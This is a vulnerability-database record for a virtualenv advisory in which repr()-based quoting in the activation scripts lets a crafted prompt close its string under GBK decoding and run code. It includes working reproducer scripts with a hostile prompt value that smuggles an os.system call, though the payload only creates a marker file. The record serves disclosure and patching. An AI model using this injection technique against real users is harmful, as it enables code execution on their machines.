{"id":"CVE-2026-113718","kind":"vulnerability","aliases":["CVE-2026-113718","GHSA-394h-qwmc-48pf"],"related":[],"title":"virtualenv: Xonsh activation literals depend on the script decoding codec","description":"## Summary\n\nCaller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the\nvalue passed to virtualenv, and a user must subsequently activate the environment.\n\n## Affected area\n\nXonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can\nchange how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure\nthrough unrelated activators.\n\n## Attacker-controlled input\n\nThe attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated\nactivation script.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py),\n[UTF-8 template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py).\n\n## Mechanism\n\nThe generator writes `activate.xsh` as UTF-8. Its `quote()` used `repr()`, which leaves printable non-ASCII characters\nin the file and backslash-escapes an embedded quote. Xonsh's `source` reads the file using `$XONSH_ENCODING`. With GBK\nor Big5, the UTF-8 bytes of `中` end in `0xad`, which pairs with the following `0x5c` backslash as one decoded character.\nThe backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal\nand supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.\n\n## Reproduction and evidence\n\nThe original scanner finding, `ANT-2026-PAUVP7YL`, demonstrated this byte-level failure in `activate_this.py`: a hostile\nprompt loaded through `exec(open(file).read(), ...)` under GBK created a marker, while UTF-8 and `runpy.run_path`\ncontrols did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review.\n[PR #3432](https://github.com/pypa/virtualenv/pull/3432) shows the xonsh source-decoding chain and changes `quote()` to\n`ascii()`, which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII,\ndecodes it as GBK, and checks that `ast.literal_eval` returns the original prompt.\n\nThe attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of\nthe generated file. The original `activate_this.py` reproducer does not itself prove xonsh execution; that result is\nattributed to the separate review. Existing `activate.xsh` files must be regenerated after the fix.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prompt supplier\n    participant V as virtualenv quote()\n    participant F as activate.xsh bytes\n    participant X as xonsh source\n    A->>V: 中 plus escaped quote and statements\n    V->>F: repr writes UTF-8 中 followed by backslash\n    alt XONSH_ENCODING is UTF-8\n        F->>X: backslash remains an escape\n        X-->>A: prompt remains data\n    else XONSH_ENCODING is GBK or Big5\n        F->>X: decoder consumes backslash as trail byte\n        X->>X: quote closes and statements run\n    end\n    Note over V,X: ascii() emits only ASCII bytes and preserves the literal\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-PAUVP7YL`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom shutil import rmtree\n\nwork = Path(\"/tmp/activate-this-gbk\")\nrmtree(work, ignore_errors=True)\nwork.mkdir()\nenv_dir = work / \"venv\"\nmarker = work / \"MARKER\"\n\n# set up: a zh_CN.GBK locale, which the image does not ship\nsubprocess.run([sys.executable, \"/tmp/repro.d/install_gbk_locale.py\", work / \"locales\"], check=True)\nutf8_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"C.UTF-8\"}\ngbk_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"zh_CN.GBK\", \"LOCPATH\": str(work / \"locales\")}\n\n# attacker: text that a tool relays as --prompt\n# the payload's \" makes repr() delimit with ' and write the prompt's own ' as \\'\n# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next\npayload = f'__import__(\"os\").system(\"touch {marker}\")'\nhostile_prompt = \"中\" + \"';\" + payload + \"#\"\n\n# user: creates the environment with the virtualenv command\nsubprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--prompt\", hostile_prompt, env_dir], check=True)\nactivate_this = (env_dir / \"bin\" / \"activate_this.py\").read_bytes()\nprompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ[\"VIRTUAL_ENV_PROMPT\"]'))\nprint(f\"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}\")\nprint(f\"activate_this.py read as GBK:   {prompt_line.decode('gbk')}\")\nassert not marker.exists(), \"payload ran at creation time\"\n\n# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one\nactivate = [sys.executable, \"/tmp/repro.d/activate_with_exec_open.py\", env_dir]\ncontrol = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding=\"utf-8\", check=True)\nran_in_utf8_session = marker.exists()\nprint(f\"CONTROL  UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}\")\n\nobserved = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding=\"gbk\", check=True)\nran_in_gbk_session = marker.exists()\nprint(f\"OBSERVED GBK session:   {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}\")\n\n# check: the prompt is data and must not run in either session\nprint(\"BUG\" if ran_in_gbk_session and not ran_in_utf8_session else \"OK\")\n```\n\n**`repro.d/activate_with_exec_open.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: activate_with_exec_open.py ENV_DIR\n# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.\nimport locale\nimport os\nimport sys\n\nthis_file = os.path.join(sys.argv[1], \"bin\", \"activate_this.py\")\nexec(open(this_file).read(), {\"__file__\": this_file})\n\nprint(f\"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}\")\n```\n\n**`repro.d/install_gbk_locale.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: install_gbk_locale.py LOCPATH\n# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.\nimport os\nimport subprocess\nimport sys\n\nlocpath = sys.argv[1]\nos.makedirs(locpath)\n\ncharmap = [\"<code_set_name> GBK\", \"<comment_char> %\", \"<escape_char> /\", \"<mb_cur_min> 1\", \"<mb_cur_max> 2\", \"CHARMAP\"]\ncharmap += [f\"<U{byte:04X}> /x{byte:02x}\" for byte in range(0x80)]\nfor lead in range(0x81, 0xFF):\n    for trail in range(0x40, 0xFF):\n        try:\n            char = bytes([lead, trail]).decode(\"gbk\")\n        except UnicodeDecodeError:\n            continue\n        charmap.append(f\"<U{ord(char):04X}> /x{lead:02x}/x{trail:02x}\")\ncharmap.append(\"END CHARMAP\")\nwith open(f\"{locpath}/GBK.charmap\", \"w\") as charmap_file:\n    charmap_file.write(\"\\n\".join(charmap) + \"\\n\")\n\n# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below\nsource = \"/tmp/repro.d/zh_CN_minimal.locale\"\nsubprocess.run([\"localedef\", \"-c\", \"-f\", f\"{locpath}/GBK.charmap\", \"-i\", source, f\"{locpath}/zh_CN.GBK\"], capture_output=True)\n\ngbk_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"zh_CN.GBK\", \"LOCPATH\": locpath}\ncodeset = subprocess.run([\"locale\", \"charmap\"], env=gbk_session, capture_output=True, text=True, check=True)\nif codeset.stdout.strip() != \"GBK\" or codeset.stderr:\n    sys.exit(f\"zh_CN.GBK locale not usable: {codeset}\")\n```\n\n**`repro.d/zh_CN_minimal.locale`**\n\n```text\ncomment_char %\nescape_char /\n% Stand-in for glibc's locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which\n% comes from the charmap given to localedef with -f.\nLC_CTYPE\nupper <U0041>..<U005A>\nlower <U0061>..<U007A>\ndigit <U0030>..<U0039>\nspace <U0009>..<U000D>;<U0020>\ncntrl <U0000>..<U001F>;<U007F>\npunct <U0021>..<U002F>;<U003A>..<U0040>;<U005B>..<U0060>;<U007B>..<U007E>\nxdigit <U0030>..<U0039>;<U0041>..<U0046>;<U0061>..<U0066>\nblank <U0009>;<U0020>\nEND LC_CTYPE\nLC_COLLATE\norder_start forward\nUNDEFINED\norder_end\nEND LC_COLLATE\n```\n\n## Impact\n\nAn affected activation can execute commands with the user's privileges. Severity is high, following the generated-script\nprecedent in [GHSA-p58f-9548-mpm2](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2). The\nattack requires control of argument data and subsequent user activation; it does not require replacing an executable or\ncontrolling app-data contents.\n\n## Versions tested\n\nThe supplied follow-up review marks command execution as independently confirmed by its author. The implementation\nreview used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation\nsource is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation\nof the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.\n\n## Known mitigation\n\nUse trusted prompt and destination values. Use UTF-8 source decoding in xonsh on older releases.\nRecreate environments with virtualenv 21.14.9 or later.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nThe original report was supplied by Anthropic's OSS Scanner as ANT-2026-PAUVP7YL. The subsequent maintainer-provided\nreview identified the remaining activation path.\n\n## Additional fix branch\n\n[PR #3411](https://github.com/pypa/virtualenv/pull/3411) also uses ASCII-only literals for paths and prompts, alongside\nits activation-state changes. Both branches must retain this quoting rule when integrated.","summary":"virtualenv writes the xonsh activation script with a quoting method that breaks under legacy multibyte source encodings such as GBK or Big5. A prompt or destination value supplied as a virtualenv argument can close the string literal and run statements when the user later activates the environment.","severity":"high","cvss":7.1,"epss":0.00142,"exploited":false,"exploited_at":null,"products":[{"name":"virtualenv","fixed":["21.14.9"],"affected":"< 21.14.9","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["ci","cwe-94","developer-machines","package","posix","python","virtualenv","xonsh"],"not_affected_if":["does-not-use-xonsh","trusted-prompt-values","utf-8-xonsh-encoding","windows"],"how_to_check":"- Run `pip show virtualenv` and check whether the version is below `21.14.9`.\n- Check whether any environment uses xonsh and has an `activate.xsh` file generated by an older version.\n- Check whether `$XONSH_ENCODING` is set to a non-UTF-8 encoding such as GBK or Big5 on machines that activate these environments.","fix":"- Upgrade virtualenv to `21.14.9` or later with `pip install --upgrade virtualenv`.\n- Recreate existing environments that were generated by older releases, because `activate.xsh` must be regenerated after the fix.\n- Until upgraded, use only trusted prompt and destination values, or set xonsh source decoding to UTF-8 on older releases.","status":"open","published_at":"2026-10-20T20:17:18+00:00","first_seen_at":"2026-10-23T21:57:21+00:00","triaged_at":"2026-10-25T03:34:37+00:00","updated_at":"2026-10-25T03:34:37+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-25T03:34:37Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade virtualenv to `21.14.9` or later with `pip install --upgrade virtualenv`.\n- Recreate existing environments that were generated by older releases, because `activate.xsh` must be regenerated after the fix.\n- Until upgraded, use only trusted prompt and destination values, or set xonsh source decoding to UTF-8 on older releases.","reach":"local","title":"virtualenv: xonsh activation script lets a crafted prompt run commands","impact":"high","summary":"virtualenv writes the xonsh activation script with a quoting method that breaks under legacy multibyte source encodings such as GBK or Big5. A prompt or destination value supplied as a virtualenv argument can close the string literal and run statements when the user later activates the environment.","category":"package","nicknames":[],"who_cares":["python","virtualenv","xonsh","posix","developer-machines","ci"],"confidence":0.8,"needs_auth":"unknown","worst_case":"Attacker commands run with the activating user's privileges.","analyst_note":"","how_to_check":"- Run `pip show virtualenv` and check whether the version is below `21.14.9`.\n- Check whether any environment uses xonsh and has an `activate.xsh` file generated by an older version.\n- Check whether `$XONSH_ENCODING` is set to a non-UTF-8 encoding such as GBK or Big5 on machines that activate these environments.","needs_analyst":false,"not_affected_if":["does-not-use-xonsh","utf-8-xonsh-encoding","trusted-prompt-values","windows"],"who_is_affected":"Teams that create virtualenvs with virtualenv 21.14.8 or earlier and activate them with xonsh on a POSIX system. Exposure also requires that an attacker can influence the prompt or destination value passed to virtualenv, and that the xonsh session decodes source files with a legacy multibyte encoding. Teams that do not use xonsh, or that only use trusted prompt values, can skip it.","user_interaction":"yes","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.001124,"input_tokens":7614,"output_tokens":725,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-113718':13A,21A '-2026':12A,20A,310C,561C '-8':119C,195C,208C,245C,292C,336C,491C,501C '-94':25B '/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py).':200C '/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py),':193C '/pypa/virtualenv/pull/3432)':362C '/tmp/activate-this-gbk':638C '/tmp/repro.d':580C '/usr/bin/env':620C '0x5c':257C '0xad':251C '21.14.8':185C '3432':359C '394h':16A '48pf':18A 'a857a7823c73':568C 'activ':3A,38B,78B,94C,110C,120C,148C,156C,179C,289C 'activate.xsh':205C,446C,471C 'activate_this.py':319C,429C 'adjac':142C 'advisori':348C,616C 'affect':113C,181C,416C 'alt':496C 'ant':309C,560C 'area':114C 'argument':65B,172C 'ascii':133C,218C,374C,379C,391C,540C,543C 'ast.literal':399C 'attack':97C,158C,162C,406C,454C 'attacker-control':157C 'attribut':440C 'backslash':225C,258C,264C,495C,504C,524C 'backslash-escap':224C 'becom':88C 'behavior':602C 'big5':55B,242C,519C 'break':45B 'bug':598C 'byte':134C,246C,315C,472C,527C,544C 'byte-level':314C 'caller':83C 'caller-suppli':82C 'capabl':591C 'case':581C 'chain':369C 'chang':136C,371C,583C 'charact':219C,262C,380C 'check':397C 'ci':23B 'close':67B,278C,531C 'code':182C 'codec':10A 'commit':567C 'companion':577C 'concern':146C 'consum':523C 'contain':272C,592C 'control':159C,163C,340C,408C 'creat':331C 'cve':11A,19A 'cwe':24B 'data':167C,512C 'decod':9A,261C,294C,368C,392C,522C 'demonstr':312C 'depend':5A 'destin':59B,166C,413C 'develop':27B 'developer-machin':26B 'dir':646C 'dispos':588C 'els':513C 'embed':228C 'emit':541C 'encod':50B,126C,238C,386C,419C,498C,515C 'end':249C,535C 'entrypoint':575C 'env':645C 'environ':80B,112C 'error':642C 'escap':226C,267C,382C,482C,507C 'establish':152C 'eval':400C 'evid':304C,609C 'exec':325C 'execut':89C,436C 'exist':445C 'expect':576C 'exposur':153C 'f':469C,487C,502C,520C 'failur':317C 'file':222C,235C,327C,426C,447C,550C,553C,578C,605C 'find':308C 'fix':453C 'follow':256C,493C,552C 'gbk':53B,129C,240C,330C,395C,517C 'generat':178C,203C,388C,425C 'ghsa':15A 'ghsa-394h-qwmc-48pf':14A 'github.com':192C,199C,361C 'github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py).':198C 'github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py),':191C 'github.com/pypa/virtualenv/pull/3432)':360C 'hostil':321C 'id':585C 'identifi':350C 'ignor':641C 'imag':572C 'import':622C,624C,626C,630C,634C 'includ':607C 'influenc':99C 'input':160C 'insid':299C 'kind':275C 'last':594C 'later':77B,175C,421C 'leav':214C 'legaci':47B,124C 'level':316C 'line':596C 'liter':4A,70B,282C,301C,389C,548C 'load':323C 'longer':266C 'machin':28B 'maintain':355C 'maintainer-provid':354C 'marker':333C,649C 'mechan':201C 'mermaid':456C 'method':43B 'multibyt':48B,125C 'must':98C,108C,448C 'need':407C,586C 'non':132C,217C,378C 'non-ascii':131C,216C,377C 'note':536C 'occur':603C 'one':260C 'open':326C 'origin':306C,403C,428C 'os':623C 'output':595C 'packag':29B 'pair':253C 'particip':458C,463C,468C,473C 'pass':102C,168C 'path':339C,345C,631C,637C 'pathlib':629C 'pauvp7yl':311C,562C 'plus':481C 'posix':30B,147C 'pr':358C 'preserv':546C 'printabl':130C,215C 'prompt':57B,85C,164C,271C,322C,404C,411C,461C,510C 'prove':434C 'provid':356C 'python':31B,280C 'python3':621C 'quot':42B,143C,190C,210C,229C,269C,274C,372C,467C,483C,530C 'qwmc':17A 'read':116C,233C,328C 'reader':139C 'recogn':140C 'regener':450C 'regress':384C 'relev':184C 'remain':505C,511C 'report':145C,558C,601C 'repr':212C,488C 'repro':574C,618C 'reproduc':430C,549C 'reproduct':302C 'rerun':613C 'result':438C 'return':401C 'review':357C,444C 'rmtree':635C,639C 'root':590C 'root-cap':589C 'run':72B,287C,534C 'runpy.run':338C 'scanner':307C,557C,571C 'script':8A,39B,95C,121C,180C 'separ':443C 'sequenc':455C 'sequencediagram':457C 'show':363C 'shutil':633C 'sourc':49B,176C,186C,232C,293C,367C,418C,422C,477C 'source-decod':366C 'statement':73B,285C,485C,533C 'stay':298C 'string':69B,281C 'subprocess':625C 'subsequ':109C,353C 'summari':81C 'suppli':61B,84C,284C 'supplier':462C 'syntax':90C 'sys':627C 'templat':196C 'test':385C,565C 'text':86C,619C 'trail':526C 'true':643C 'unrel':155C 'updat':617C 'use':122C,211C,236C 'user':76B,107C,174C,584C 'utf':118C,194C,207C,244C,291C,335C,490C,500C 'v':464C,479C,486C,538C 'valu':60B,101C,297C,414C 'venv':648C 'virtualenv':1A,22A,32B,34B,64B,104C,171C,466C 'work':636C,640C,647C 'work.mkdir':644C 'write':35B,204C,376C,489C 'writer':197C 'x':474C,503C,508C,521C,528C,529C,539C 'xonsh':2A,33B,37B,93C,115C,189C,230C,237C,344C,365C,417C,435C,476C,497C,514C '中':248C,480C,492C","nicknames":[],"mitigations":[],"who_affected":"Teams that create virtualenvs with virtualenv 21.14.8 or earlier and activate them with xonsh on a POSIX system. Exposure also requires that an attacker can influence the prompt or destination value passed to virtualenv, and that the xonsh session decodes source files with a legacy multibyte encoding. Teams that do not use xonsh, or that only use trusted prompt values, can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-20T20:17:18+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"nvd","external_id":"CVE-2026-113718","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113718","severity":null,"published_at":"2026-10-20T20:17:18+00:00","modified_at":"2026-10-22T16:47:38+00:00","first_seen_at":"2026-10-23T21:57:21+00:00","fetched_at":"2026-10-23T22:28:58+00:00","note":null},{"source":"ghsa","external_id":"GHSA-394h-qwmc-48pf","url":"https://github.com/advisories/GHSA-394h-qwmc-48pf","severity":"high","published_at":"2026-10-23T22:24:43+00:00","modified_at":"2026-10-23T22:24:44+00:00","first_seen_at":"2026-10-23T22:27:42+00:00","fetched_at":"2026-10-23T22:27:42+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}